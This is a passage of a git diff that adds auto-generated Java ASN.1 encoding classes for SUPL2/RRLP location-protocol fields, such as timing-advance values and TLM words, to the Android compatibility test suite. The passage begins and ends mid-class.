+ * @throws ClassCastException if value is not a SeqOfSystemInfoAssistBTS
+ */
+ public void setSystemInfoAssistList(Asn1Object value) {
+ this.systemInfoAssistList_ = (SeqOfSystemInfoAssistBTS) value;
+ }
+ public SeqOfSystemInfoAssistBTS setSystemInfoAssistListToNewInstance() {
+ systemInfoAssistList_ = new SeqOfSystemInfoAssistBTS();
+ return systemInfoAssistList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSystemInfoAssistList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSystemInfoAssistList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSystemInfoAssistListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfSystemInfoAssistBTS.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "systemInfoAssistList : "
+ + getSystemInfoAssistList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SystemInfoAssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
new file mode 100755
index 0000000..30f40f5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SystemInfoAssistData_R98_ExpOTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SystemInfoAssistData_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SystemInfoAssistData_R98_ExpOTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SystemInfoAssistData_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SystemInfoAssistData_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_SystemInfoAssistData_R98_ExpOTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SystemInfoAssistData_R98_ExpOTD from encoded stream.
+ */
+ public static SystemInfoAssistData_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ SystemInfoAssistData_R98_ExpOTD result = new SystemInfoAssistData_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SystemInfoAssistData_R98_ExpOTD from encoded stream.
+ */
+ public static SystemInfoAssistData_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ SystemInfoAssistData_R98_ExpOTD result = new SystemInfoAssistData_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfSystemInfoAssistBTS_R98_ExpOTD systemInfoAssistListR98_ExpOTD_;
+ public SeqOfSystemInfoAssistBTS_R98_ExpOTD getSystemInfoAssistListR98_ExpOTD() {
+ return systemInfoAssistListR98_ExpOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfSystemInfoAssistBTS_R98_ExpOTD
+ */
+ public void setSystemInfoAssistListR98_ExpOTD(Asn1Object value) {
+ this.systemInfoAssistListR98_ExpOTD_ = (SeqOfSystemInfoAssistBTS_R98_ExpOTD) value;
+ }
+ public SeqOfSystemInfoAssistBTS_R98_ExpOTD setSystemInfoAssistListR98_ExpOTDToNewInstance() {
+ systemInfoAssistListR98_ExpOTD_ = new SeqOfSystemInfoAssistBTS_R98_ExpOTD();
+ return systemInfoAssistListR98_ExpOTD_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSystemInfoAssistListR98_ExpOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSystemInfoAssistListR98_ExpOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setSystemInfoAssistListR98_ExpOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfSystemInfoAssistBTS_R98_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "systemInfoAssistListR98_ExpOTD : "
+ + getSystemInfoAssistListR98_ExpOTD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SystemInfoAssistData_R98_ExpOTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java
new file mode 100755
index 0000000..49504f4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SystemInfoIndex extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_SystemInfoIndex
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SystemInfoIndex() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SystemInfoIndex;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SystemInfoIndex != null) {
+ return ImmutableList.of(TAG_SystemInfoIndex);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SystemInfoIndex from encoded stream.
+ */
+ public static SystemInfoIndex fromPerUnaligned(byte[] encodedBytes) {
+ SystemInfoIndex result = new SystemInfoIndex();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SystemInfoIndex from encoded stream.
+ */
+ public static SystemInfoIndex fromPerAligned(byte[] encodedBytes) {
+ SystemInfoIndex result = new SystemInfoIndex();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SystemInfoIndex = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java
new file mode 100755
index 0000000..43c9514
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TA0 extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TA0
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TA0() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TA0;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TA0 != null) {
+ return ImmutableList.of(TAG_TA0);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TA0 from encoded stream.
+ */
+ public static TA0 fromPerUnaligned(byte[] encodedBytes) {
+ TA0 result = new TA0();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TA0 from encoded stream.
+ */
+ public static TA0 fromPerAligned(byte[] encodedBytes) {
+ TA0 result = new TA0();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TA0 = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java
new file mode 100755
index 0000000..d22d4b3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TA1 extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TA1
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TA1() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TA1;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TA1 != null) {
+ return ImmutableList.of(TAG_TA1);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TA1 from encoded stream.
+ */
+ public static TA1 fromPerUnaligned(byte[] encodedBytes) {
+ TA1 result = new TA1();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TA1 from encoded stream.
+ */
+ public static TA1 fromPerAligned(byte[] encodedBytes) {
+ TA1 result = new TA1();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TA1 = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java
new file mode 100755
index 0000000..57a8da4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TA2 extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TA2
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TA2() {
+ super();
+ setValueRange("-64", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TA2;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TA2 != null) {
+ return ImmutableList.of(TAG_TA2);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TA2 from encoded stream.
+ */
+ public static TA2 fromPerUnaligned(byte[] encodedBytes) {
+ TA2 result = new TA2();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TA2 from encoded stream.
+ */
+ public static TA2 fromPerAligned(byte[] encodedBytes) {
+ TA2 result = new TA2();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TA2 = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java
new file mode 100755
index 0000000..88b9adf
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TLMReservedBits extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TLMReservedBits
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TLMReservedBits() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TLMReservedBits;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TLMReservedBits != null) {
+ return ImmutableList.of(TAG_TLMReservedBits);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TLMReservedBits from encoded stream.
+ */
+ public static TLMReservedBits fromPerUnaligned(byte[] encodedBytes) {
+ TLMReservedBits result = new TLMReservedBits();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TLMReservedBits from encoded stream.
+ */
+ public static TLMReservedBits fromPerAligned(byte[] encodedBytes) {
+ TLMReservedBits result = new TLMReservedBits();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TLMReservedBits = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java
new file mode 100755
index 0000000..14bb4ca
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TLMWord extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TLMWord
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TLMWord() {
+ super();
+ setValueRange("0", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TLMWord;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TLMWord != null) {
+ return ImmutableList.of(TAG_TLMWord);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TLMWord from encoded stream.
+ */
+ public static TLMWord fromPerUnaligned(byte[] encodedBytes) {
+ TLMWord result = new TLMWord();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TLMWord from encoded stream.
+ */
+ public static TLMWord fromPerAligned(byte[] encodedBytes) {
+ TLMWord result = new TLMWord();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TLMWord = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
new file mode 100755
index 0000000..26be467
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class TOA_MeasurementsOfRef extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_TOA_MeasurementsOfRef
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TOA_MeasurementsOfRef() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TOA_MeasurementsOfRef;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TOA_MeasurementsOfRef != null) {
+ return ImmutableList.of(TAG_TOA_MeasurementsOfRef);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TOA_MeasurementsOfRef from encoded stream.
+ */
+ public static TOA_MeasurementsOfRef fromPerUnaligned(byte[] encodedBytes) {
+ TOA_MeasurementsOfRef result = new TOA_MeasurementsOfRef();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TOA_MeasurementsOfRef from encoded stream.
+ */
+ public static TOA_MeasurementsOfRef fromPerAligned(byte[] encodedBytes) {
+ TOA_MeasurementsOfRef result = new TOA_MeasurementsOfRef();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
